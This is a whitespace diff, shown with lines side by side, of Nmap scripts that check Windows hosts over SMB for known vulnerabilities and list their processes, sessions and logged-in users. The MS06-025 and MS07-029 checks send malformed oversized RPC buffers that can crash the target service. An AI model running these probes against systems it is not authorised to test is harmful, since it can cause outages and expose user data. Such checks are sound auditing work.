return true, NOTRUN return true, NOTRUN
end end
if(nmap.registry.args.unsafe == nil) then if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN return true, NOTRUN
end end
--create the SMB session --create the SMB session
--first we try with the "\router" pipe, then the "\srvsvc" pipe. --first we try with the "\router" pipe, then the "\srvsvc" pipe.
local status, smb_result, smbstate, err_msg local status, smb_result, smbstate, err_msg
status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH) status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
if(status == false) then
err_msg = smb_result
status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
if(status == false) then if(status == false) then
err_msg = smb_result return false, NOTUP --if not accessible across both pipes then service is inactive
status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
if(status == false) then
return false, NOTUP --if not accessible across both pipes then service is inactive
end
end end
smbstate = smb_result end
--bind to RRAS service smbstate = smb_result
local bind_result --bind to RRAS service
status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil) local bind_result
if(status == false) then status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
msrpc.stop_smb(smbstate) if(status == false) then
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything. msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION
msrpc.stop_smb(smbstate)
return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive.
end
local req, buff, sr_result
req = msrpc.RRAS_marshall_RequestBuffer(
0x01,
msrpc.RRAS_RegTypes['GETDEVCONFIG'],
msrpc.random_crap(3000))
status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req)
msrpc.stop_smb(smbstate)
--sanity check
if(status == false) then
stdnse.print_debug(
3,
"check_ms06_025: RRAS_SubmitRequest failed")
if(sr_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end end
if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION else
msrpc.stop_smb(smbstate) return true, PATCHED
return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive. end
end
local req, buff, sr_result
req = msrpc.RRAS_marshall_RequestBuffer(
0x01,
msrpc.RRAS_RegTypes['GETDEVCONFIG'],
msrpc.random_crap(3000))
status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req)
msrpc.stop_smb(smbstate)
--sanity check
if(status == false) then
stdnse.print_debug(
3,
"check_ms06_025: RRAS_SubmitRequest failed")
if(sr_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
else
return true, PATCHED
end
end end
---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service. ---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service.
@@ -505,47 +505,47 @@ end
-- ** <code>result == PATCHED</code> for not vulnerable. -- ** <code>result == PATCHED</code> for not vulnerable.
-- ** <code>result == NOTRUN</code> if check skipped. -- ** <code>result == NOTRUN</code> if check skipped.
function check_ms07_029(host) function check_ms07_029(host)
--check for safety flag --check for safety flag
if(nmap.registry.args.safe ~= nil) then if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
--create the SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH)
if(status == false) then
return false, NOTUP --if not accessible across pipe then the service is inactive
end
--bind to DNSSERVER service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
--call
local req_blob, q_result
status, q_result = msrpc.DNSSERVER_Query(
smbstate,
"VULNSRV",
string.rep("\\\13", 1000),
1)--any op num will do
--sanity check
msrpc.stop_smb(smbstate)
if(status == false) then
stdnse.print_debug(
3,
"check_ms07_029: DNSSERVER_Query failed")
if(q_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end end
if(nmap.registry.args.unsafe == nil) then else
return true, NOTRUN return true, PATCHED
end end
--create the SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH)
if(status == false) then
return false, NOTUP --if not accessible across pipe then the service is inactive
end
--bind to DNSSERVER service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
--call
local req_blob, q_result
status, q_result = msrpc.DNSSERVER_Query(
smbstate,
"VULNSRV",
string.rep("\\\13", 1000),
1)--any op num will do
--sanity check
msrpc.stop_smb(smbstate)
if(status == false) then
stdnse.print_debug(
3,
"check_ms07_029: DNSSERVER_Query failed")
if(q_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
else
return true, PATCHED
end
end end
---Returns the appropriate text to display, if any. ---Returns the appropriate text to display, if any.
@@ -557,129 +557,129 @@ end
--@param minimum_debug [optional] The minimum debug level required before the message is displayed (default: 0). --@param minimum_debug [optional] The minimum debug level required before the message is displayed (default: 0).
--@return A string with a textual representation of the error (or empty string, if it was determined that the message shouldn't be displayed). --@return A string with a textual representation of the error (or empty string, if it was determined that the message shouldn't be displayed).
local function get_response(check, message, description, minimum_verbosity, minimum_debug) local function get_response(check, message, description, minimum_verbosity, minimum_debug)
if(minimum_debug == nil) then if(minimum_debug == nil) then
minimum_debug = 0 minimum_debug = 0
end end
-- Check if we have appropriate verbosity/debug -- Check if we have appropriate verbosity/debug
if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then
if(description == nil or description == '') then if(description == nil or description == '') then
return string.format("%s: %s", check, message) return string.format("%s: %s", check, message)
else else
return string.format("%s: %s (%s)", check, message, description) return string.format("%s: %s (%s)", check, message, description)
end end
else else
return nil return nil
end end
end end
action = function(host) action = function(host)
local status, result, message local status, result, message
local response = {} local response = {}
-- Check for ms08-067 -- Check for ms08-067
status, result, message = check_ms08_067(host) status, result, message = check_ms08_067(host)
if(status == false) then if(status == false) then
table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1)) table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1))
else else
if(result == VULNERABLE) then if(result == VULNERABLE) then
table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0)) table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0))
elseif(result == UNKNOWN) then elseif(result == UNKNOWN) then
table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate
elseif(result == NOTRUN) then elseif(result == NOTRUN) then
table.insert(response, get_response("MS08-067", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1)) table.insert(response, get_response("MS08-067", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
elseif(result == INFECTED) then elseif(result == INFECTED) then
table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0)) table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0))
else
table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1))
end
end
-- Check for Conficker
status, result = check_conficker(host)
if(status == false) then
local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
else
if(result == CLEAN) then
table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1))
elseif(result == INFECTED) then
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0))
elseif(result == INFECTED2) then
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0))
else
table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1))
end
end
-- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host)
if(status == false) then
table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
end
end
-- Check for SMBv2 vulnerablity
status, result = check_smbv2_dos(host)
if(status == false) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1))
end
end
-- Check for ms06-025
status, result = check_ms06_025(host)
if(status == false) then
if(result == NOTUP) then
table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
else
table.insert(response, get_response("MS06-025", "ERROR", result, 0, 1))
end
else else
if(result == VULNERABLE) then table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1))
table.insert(response, get_response("MS06-025", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("MS06-025", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
elseif(result == NOTUP) then
table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
else
table.insert(response, get_response("MS06-025", "NOT VULNERABLE", nil, 1))
end
end end
end
-- Check for ms07-029 -- Check for Conficker
status, result = check_ms07_029(host) status, result = check_conficker(host)
if(status == false) then if(status == false) then
if(result == NOTUP) then local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
table.insert(response, get_response("MS07-029", "NO SERVICE", "the Dns Server RPC service is inactive", 1)) table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
else else
table.insert(response, get_response("MS07-029", "ERROR", result, 0, 1)) if(result == CLEAN) then
end table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1))
elseif(result == INFECTED) then
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0))
elseif(result == INFECTED2) then
table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0))
else else
if(result == VULNERABLE) then table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1))
table.insert(response, get_response("MS07-029", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("MS07-029", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("MS07-029", "NOT VULNERABLE", nil, 1))
end
end end
end
return stdnse.format_output(true, response) -- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host)
if(status == false) then
table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
end
end
-- Check for SMBv2 vulnerablity
status, result = check_smbv2_dos(host)
if(status == false) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1))
else
if(result == VULNERABLE) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1))
end
end
-- Check for ms06-025
status, result = check_ms06_025(host)
if(status == false) then
if(result == NOTUP) then
table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
else
table.insert(response, get_response("MS06-025", "ERROR", result, 0, 1))
end
else
if(result == VULNERABLE) then
table.insert(response, get_response("MS06-025", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("MS06-025", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
elseif(result == NOTUP) then
table.insert(response, get_response("MS06-025", "NO SERVICE", "the Ras RPC service is inactive", 1))
else
table.insert(response, get_response("MS06-025", "NOT VULNERABLE", nil, 1))
end
end
-- Check for ms07-029
status, result = check_ms07_029(host)
if(status == false) then
if(result == NOTUP) then
table.insert(response, get_response("MS07-029", "NO SERVICE", "the Dns Server RPC service is inactive", 1))
else
table.insert(response, get_response("MS07-029", "ERROR", result, 0, 1))
end
else
if(result == VULNERABLE) then
table.insert(response, get_response("MS07-029", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then
table.insert(response, get_response("MS07-029", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else
table.insert(response, get_response("MS07-029", "NOT VULNERABLE", nil, 1))
end
end
return stdnse.format_output(true, response)
end end

View File

@@ -87,206 +87,206 @@ dependencies = {"smb-brute"}
function psl_mode (list, i) function psl_mode (list, i)
local mode local mode
-- Decide connector for process. -- Decide connector for process.
if #list == 1 then if #list == 1 then
mode = "only" mode = "only"
elseif i == 1 then elseif i == 1 then
mode = "first" mode = "first"
elseif i < #list then elseif i < #list then
mode = "middle" mode = "middle"
else else
mode = "last" mode = "last"
end end
return mode return mode
end end
function psl_print (psl, lvl) function psl_print (psl, lvl)
-- Print out table header. -- Print out table header.
local result = "" local result = ""
if lvl == 2 then if lvl == 2 then
result = result .. " PID PPID Priority Threads Handles\n" result = result .. " PID PPID Priority Threads Handles\n"
result = result .. "----- ----- -------- ------- -------\n" result = result .. "----- ----- -------- ------- -------\n"
end end
-- Find how many root processes there are. -- Find how many root processes there are.
local roots = {} local roots = {}
for i, ps in pairs(psl) do for i, ps in pairs(psl) do
if psl[ps.ppid] == nil or ps.ppid == ps.pid then if psl[ps.ppid] == nil or ps.ppid == ps.pid then
table.insert(roots, i) table.insert(roots, i)
end end
end end
table.sort(roots) table.sort(roots)
-- Create vertical sibling bars. -- Create vertical sibling bars.
local bars = {} local bars = {}
if #roots ~= 1 then if #roots ~= 1 then
table.insert(bars, 2) table.insert(bars, 2)
end end
-- Print out each root of the tree. -- Print out each root of the tree.
for i, root in ipairs(roots) do for i, root in ipairs(roots) do
local mode = psl_mode(roots, i) local mode = psl_mode(roots, i)
result = result .. psl_tree(psl, root, 0, bars, mode, lvl) result = result .. psl_tree(psl, root, 0, bars, mode, lvl)
end end
return result return result
end end
function psl_tree (psl, pid, column, bars, mode, lvl) function psl_tree (psl, pid, column, bars, mode, lvl)
local ps = psl[pid] local ps = psl[pid]
-- Delete vertical sibling link. -- Delete vertical sibling link.
if mode == "last" then if mode == "last" then
table.remove(bars) table.remove(bars)
end end
-- Print information table. -- Print information table.
local info = "" local info = ""
if lvl == 2 then if lvl == 2 then
info = info .. string.format("% 5d ", ps.pid) info = info .. string.format("% 5d ", ps.pid)
info = info .. string.format("% 5d ", ps.ppid) info = info .. string.format("% 5d ", ps.ppid)
info = info .. string.format("% 8d ", ps.prio) info = info .. string.format("% 8d ", ps.prio)
info = info .. string.format("% 7d ", ps.thrd) info = info .. string.format("% 7d ", ps.thrd)
info = info .. string.format("% 7d ", ps.hndl) info = info .. string.format("% 7d ", ps.hndl)
end end
-- Print vertical sibling bars. -- Print vertical sibling bars.
local prefix = "" local prefix = ""
local i = 1 local i = 1
for j = 1, column do for j = 1, column do
if bars[i] == j then if bars[i] == j then
prefix = prefix .. "|" prefix = prefix .. "|"
i = i + 1 i = i + 1
else else
prefix = prefix .. " " prefix = prefix .. " "
end end
end end
-- Strings used to separate processes from one another. -- Strings used to separate processes from one another.
local separators = { local separators = {
first = "`+-"; first = "`+-";
last = " `-"; last = " `-";
middle = " +-"; middle = " +-";
only = "`-"; only = "`-";
} }
-- Format process itself. -- Format process itself.
local result = "\n" .. info .. prefix .. separators[mode] .. ps.name local result = "\n" .. info .. prefix .. separators[mode] .. ps.name
-- Find children of the process. -- Find children of the process.
local children = {} local children = {}
for child_pid, child in pairs(psl) do for child_pid, child in pairs(psl) do
if child_pid ~= pid and child.ppid == pid then if child_pid ~= pid and child.ppid == pid then
table.insert(children, child_pid) table.insert(children, child_pid)
end end
end end
table.sort(children) table.sort(children)
-- Add vertical sibling link between children. -- Add vertical sibling link between children.
column = column + #separators[mode] column = column + #separators[mode]
if #children > 1 then if #children > 1 then
table.insert(bars, column + 2) table.insert(bars, column + 2)
end end
-- Format process's children. -- Format process's children.
for i, pid in ipairs(children) do for i, pid in ipairs(children) do
local mode = psl_mode(children, i) local mode = psl_mode(children, i)
result = result .. psl_tree(psl, pid, column, bars, mode, lvl) result = result .. psl_tree(psl, pid, column, bars, mode, lvl)
end end
return result return result
end end
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
action = function(host) action = function(host)
-- Get the process list -- Get the process list
local status, result = msrpcperformance.get_performance_data(host, "230") local status, result = msrpcperformance.get_performance_data(host, "230")
if status == false then if status == false then
if nmap.debugging() > 0 then if nmap.debugging() > 0 then
return "ERROR: " .. result return "ERROR: " .. result
else else
return nil return nil
end end
end end
-- Get the process table -- Get the process table
local process = result["Process"] local process = result["Process"]
-- Put the processes into an array, and sort them by pid. -- Put the processes into an array, and sort them by pid.
local names = {} local names = {}
for i, v in pairs(process) do for i, v in pairs(process) do
if i ~= "_Total" then if i ~= "_Total" then
names[#names + 1] = i names[#names + 1] = i
end end
end end
table.sort(names, function (a, b) return process[a]["ID Process"] < process[b]["ID Process"] end) table.sort(names, function (a, b) return process[a]["ID Process"] < process[b]["ID Process"] end)
-- Put the processes into an array indexed by pid and with a value equal -- Put the processes into an array indexed by pid and with a value equal
-- to the name (so we can look it up easily when we need to). -- to the name (so we can look it up easily when we need to).
local process_id = {} local process_id = {}
for i, v in pairs(process) do for i, v in pairs(process) do
process_id[v["ID Process"]] = i process_id[v["ID Process"]] = i
end end
-- Fill the process list table. -- Fill the process list table.
-- --
-- Used fields: -- Used fields:
-- Creating Process ID -- Creating Process ID
-- Handle Count -- Handle Count
-- ID Process -- ID Process
-- Priority Base -- Priority Base
-- Thread Count -- Thread Count
-- --
-- Unused fields: -- Unused fields:
-- % Privileged Time -- % Privileged Time
-- % Processor Time -- % Processor Time
-- % User Time -- % User Time
-- Elapsed Time -- Elapsed Time
-- IO Data Bytes/sec -- IO Data Bytes/sec
-- IO Data Operations/sec -- IO Data Operations/sec
-- IO Other Bytes/sec -- IO Other Bytes/sec
-- IO Other Operations/sec -- IO Other Operations/sec
-- IO Read Bytes/sec -- IO Read Bytes/sec
-- IO Read Operations/sec -- IO Read Operations/sec
-- IO Write Bytes/sec -- IO Write Bytes/sec
-- IO Write Operations/sec -- IO Write Operations/sec
-- Page Faults/sec -- Page Faults/sec
-- Page File Bytes -- Page File Bytes
-- Page File Bytes Peak -- Page File Bytes Peak
-- Pool Nonpaged Bytes -- Pool Nonpaged Bytes
-- Pool Paged Bytes -- Pool Paged Bytes
-- Private Bytes -- Private Bytes
-- Virtual Bytes -- Virtual Bytes
-- Virtual Bytes Peak -- Virtual Bytes Peak
-- Working Set -- Working Set
-- Working Set Peak -- Working Set Peak
local psl = {} local psl = {}
for i, name in ipairs(names) do for i, name in ipairs(names) do
if name ~= "_Total" then if name ~= "_Total" then
psl[process[name]["ID Process"]] = { psl[process[name]["ID Process"]] = {
name = name; name = name;
pid = process[name]["ID Process"]; pid = process[name]["ID Process"];
ppid = process[name]["Creating Process ID"]; ppid = process[name]["Creating Process ID"];
prio = process[name]["Priority Base"]; prio = process[name]["Priority Base"];
thrd = process[name]["Thread Count"]; thrd = process[name]["Thread Count"];
hndl = process[name]["Handle Count"]; hndl = process[name]["Handle Count"];
} }
end end
end end
-- Produce final output. -- Produce final output.
local response local response
if nmap.verbosity() == 0 then if nmap.verbosity() == 0 then
response = "|_ " .. stdnse.strjoin(", ", names) response = "|_ " .. stdnse.strjoin(", ", names)
else else
response = "\n" .. psl_print(psl, nmap.verbosity()) response = "\n" .. psl_print(psl, nmap.verbosity())
end end
return response return response
end end

View File

@@ -68,7 +68,7 @@ dependencies = {"smb-brute"}
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
---Attempts to enumerate the sessions on a remote system using MSRPC calls. This will likely fail ---Attempts to enumerate the sessions on a remote system using MSRPC calls. This will likely fail
@@ -78,34 +78,34 @@ end
--@return Status (true or false). --@return Status (true or false).
--@return List of sessions (if status is true) or an an error string (if status is false). --@return List of sessions (if status is true) or an an error string (if status is false).
local function srvsvc_enum_sessions(host) local function srvsvc_enum_sessions(host)
local i local i
local status, smbstate local status, smbstate
local bind_result, netsessenum_result local bind_result, netsessenum_result
-- Create the SMB session -- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH) status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then if(status == false) then
return false, smbstate return false, smbstate
end end
-- Bind to SRVSVC service -- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil) status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, bind_result return false, bind_result
end end
-- Call netsessenum -- Call netsessenum
status, netsessenum_result = msrpc.srvsvc_netsessenum(smbstate, host.ip) status, netsessenum_result = msrpc.srvsvc_netsessenum(smbstate, host.ip)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, netsessenum_result return false, netsessenum_result
end end
-- Stop the SMB session -- Stop the SMB session
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return true, netsessenum_result['ctr']['array'] return true, netsessenum_result['ctr']['array']
end end
---Enumerates the users logged in locally (or through terminal services) by using functions ---Enumerates the users logged in locally (or through terminal services) by using functions
@@ -118,218 +118,218 @@ end
--@return An array of user tables, each with the keys <code>name</code>, <code>domain</code>, and <code>changed_date</code> (representing --@return An array of user tables, each with the keys <code>name</code>, <code>domain</code>, and <code>changed_date</code> (representing
-- when they logged in). -- when they logged in).
local function winreg_enum_rids(host) local function winreg_enum_rids(host)
local i, j local i, j
local elements = {} local elements = {}
-- Create the SMB session -- Create the SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH) local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then if(status == false) then
return false, smbstate return false, smbstate
end end
-- Bind to WINREG service -- Bind to WINREG service
local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil) local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, bind_result return false, bind_result
end end
local status, openhku_result = msrpc.winreg_openhku(smbstate) local status, openhku_result = msrpc.winreg_openhku(smbstate)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, openhku_result return false, openhku_result
end end
-- Loop through the keys under HKEY_USERS and grab the names -- Loop through the keys under HKEY_USERS and grab the names
i = 0 i = 0
repeat repeat
local status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], i, "") local status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], i, "")
if(status == true) then if(status == true) then
local status, openkey_result local status, openkey_result
local element = {} local element = {}
element['name'] = enumkey_result['name'] element['name'] = enumkey_result['name']
-- To get the time the user logged in, we check the 'Volatile Environment' key -- To get the time the user logged in, we check the 'Volatile Environment' key
-- This can fail with the 'guest' account due to access restrictions -- This can fail with the 'guest' account due to access restrictions
local status, openkey_result = msrpc.winreg_openkey(smbstate, openhku_result['handle'], element['name'] .. "\\Volatile Environment") local status, openkey_result = msrpc.winreg_openkey(smbstate, openhku_result['handle'], element['name'] .. "\\Volatile Environment")
if(status ~= false) then if(status ~= false) then
local queryinfokey_result, closekey_result local queryinfokey_result, closekey_result
-- Query the info about this key. The response will tell us when the user logged into the server. -- Query the info about this key. The response will tell us when the user logged into the server.
local status, queryinfokey_result = msrpc.winreg_queryinfokey(smbstate, openkey_result['handle']) local status, queryinfokey_result = msrpc.winreg_queryinfokey(smbstate, openkey_result['handle'])
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, queryinfokey_result return false, queryinfokey_result
end end
local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle']) local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'])
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, closekey_result return false, closekey_result
end end
element['changed_date'] = queryinfokey_result['last_changed_date'] element['changed_date'] = queryinfokey_result['last_changed_date']
else else
-- Getting extra details failed, but we can still handle this -- Getting extra details failed, but we can still handle this
element['changed_date'] = "<unknown>" element['changed_date'] = "<unknown>"
end end
elements[#elements + 1] = element elements[#elements + 1] = element
end end
i = i + 1 i = i + 1
until status ~= true until status ~= true
local status, closekey_result = msrpc.winreg_closekey(smbstate, openhku_result['handle']) local status, closekey_result = msrpc.winreg_closekey(smbstate, openhku_result['handle'])
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, closekey_result return false, closekey_result
end end
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
-- Start a new SMB session -- Start a new SMB session
local status, smbstate = msrpc.start_smb(host, msrpc.LSA_PATH) local status, smbstate = msrpc.start_smb(host, msrpc.LSA_PATH)
if(status == false) then if(status == false) then
return false, smbstate return false, smbstate
end end
-- Bind to LSA service -- Bind to LSA service
local status, bind_result = msrpc.bind(smbstate, msrpc.LSA_UUID, msrpc.LSA_VERSION, nil) local status, bind_result = msrpc.bind(smbstate, msrpc.LSA_UUID, msrpc.LSA_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, bind_result return false, bind_result
end end
-- Get a policy handle -- Get a policy handle
local status, openpolicy2_result = msrpc.lsa_openpolicy2(smbstate, host.ip) local status, openpolicy2_result = msrpc.lsa_openpolicy2(smbstate, host.ip)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return false, openpolicy2_result return false, openpolicy2_result
end end
-- Convert the SID to the name of the user -- Convert the SID to the name of the user
local results = {} local results = {}
stdnse.print_debug(3, "MSRPC: Found %d SIDs that might be logged in", #elements) stdnse.print_debug(3, "MSRPC: Found %d SIDs that might be logged in", #elements)
for i = 1, #elements, 1 do for i = 1, #elements, 1 do
if(elements[i]['name'] ~= nil) then if(elements[i]['name'] ~= nil) then
local sid = elements[i]['name'] local sid = elements[i]['name']
if(string.find(sid, "^S%-") ~= nil and string.find(sid, "%-%d+$") ~= nil) then if(string.find(sid, "^S%-") ~= nil and string.find(sid, "%-%d+$") ~= nil) then
-- The rid is the last digits before the end of the string -- The rid is the last digits before the end of the string
local rid = string.sub(sid, string.find(sid, "%d+$")) local rid = string.sub(sid, string.find(sid, "%d+$"))
local status, lookupsids2_result = msrpc.lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], {elements[i]['name']}) local status, lookupsids2_result = msrpc.lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], {elements[i]['name']})
if(status == false) then if(status == false) then
-- It may not succeed, if it doesn't that's ok -- It may not succeed, if it doesn't that's ok
stdnse.print_debug(3, "MSRPC: Lookup failed") stdnse.print_debug(3, "MSRPC: Lookup failed")
else else
-- Create the result array -- Create the result array
local result = {} local result = {}
result['changed_date'] = elements[i]['changed_date'] result['changed_date'] = elements[i]['changed_date']
result['rid'] = rid result['rid'] = rid
-- Fill in the result from the response -- Fill in the result from the response
if(lookupsids2_result['names']['names'][1] == nil) then if(lookupsids2_result['names']['names'][1] == nil) then
result['name'] = "<unknown>" result['name'] = "<unknown>"
result['type'] = "<unknown>" result['type'] = "<unknown>"
result['domain'] = "" result['domain'] = ""
else else
result['name'] = lookupsids2_result['names']['names'][1]['name'] result['name'] = lookupsids2_result['names']['names'][1]['name']
result['type'] = lookupsids2_result['names']['names'][1]['sid_type'] result['type'] = lookupsids2_result['names']['names'][1]['sid_type']
if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then
result['domain'] = lookupsids2_result['domains']['domains'][1]['name'] result['domain'] = lookupsids2_result['domains']['domains'][1]['name']
else else
result['domain'] = "" result['domain'] = ""
end end
